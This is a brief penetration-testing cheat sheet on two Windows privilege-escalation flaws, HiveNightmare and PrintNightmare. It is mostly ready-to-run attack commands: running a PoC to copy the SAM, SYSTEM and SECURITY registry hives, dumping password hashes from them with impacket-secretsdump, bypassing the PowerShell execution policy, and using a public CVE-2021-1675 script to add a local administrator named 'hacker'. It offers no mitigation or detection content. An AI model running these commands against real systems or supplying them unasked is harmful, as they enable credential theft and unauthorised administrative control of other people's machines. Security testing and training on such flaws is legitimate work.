Windows Vulnerabilities

HiveNightmare.exe

This PoC can be used to perform the attack, creating copies of the aforementioned registry hives:

.\HiveNightmare.exe

These copies can then be transferred back to the attack host, where impacket-secretsdump is used to extract the hashes:

impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local

PrintNightmare

Checking for Spooler Service

We can quickly check if the Spooler service is running with the following command. If it is not running, we will receive a "path does not exist" error.

ls \\localhost\pipe\spoolss

Adding Local Admin with PrintNightmare PowerShell PoC

First start by bypassing the execution policy on the target host:

Set-ExecutionPolicy Bypass -Scope Process

Now we can import the PowerShell script and use it to add a new local admin user.

https://github.com/calebstewart/CVE-2021-1675

Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"